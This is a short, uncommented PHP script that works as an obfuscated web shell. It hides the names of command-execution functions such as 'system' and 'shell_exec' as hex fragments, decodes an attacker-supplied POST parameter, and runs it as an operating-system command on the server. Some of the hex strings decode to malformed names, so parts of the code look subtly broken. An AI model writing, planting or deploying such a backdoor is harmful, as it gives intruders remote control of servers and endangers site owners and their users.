<?php

$const1 = '737';
$const2 = '736';
$const3 = 'c5f';
$const4 = '865';
$const5 = '727';
$const6 = '636';
$const7 = '163';
$content1 = pack("H*", $const1 . '973' . '746' . '56d');
$content2 = pack("H*", $const2 . '865' . '6c6' . $const3 . '657' . $const4);
$content3 = pack("H*", '736' . '865' . '6c6');
$content4 = pack("H*", '706' . '173' . '737' . '468' . $const5);
$cache = pack("H*", $const6 . $const7 . '686');
if (isset($_POST[$cache])) {
    $cache = pack("H*", $_POST[$cache]);
    if (function_exists($content1)) {
        $content1($cache);
    } elseif (function_exists($content2)) {
        $content2($cache);
    } elseif (function_exists($content3)) {
        $content3($cache);
    } elseif (function_exists($content4)) {
        $content4($cache);
    }
    exit;
}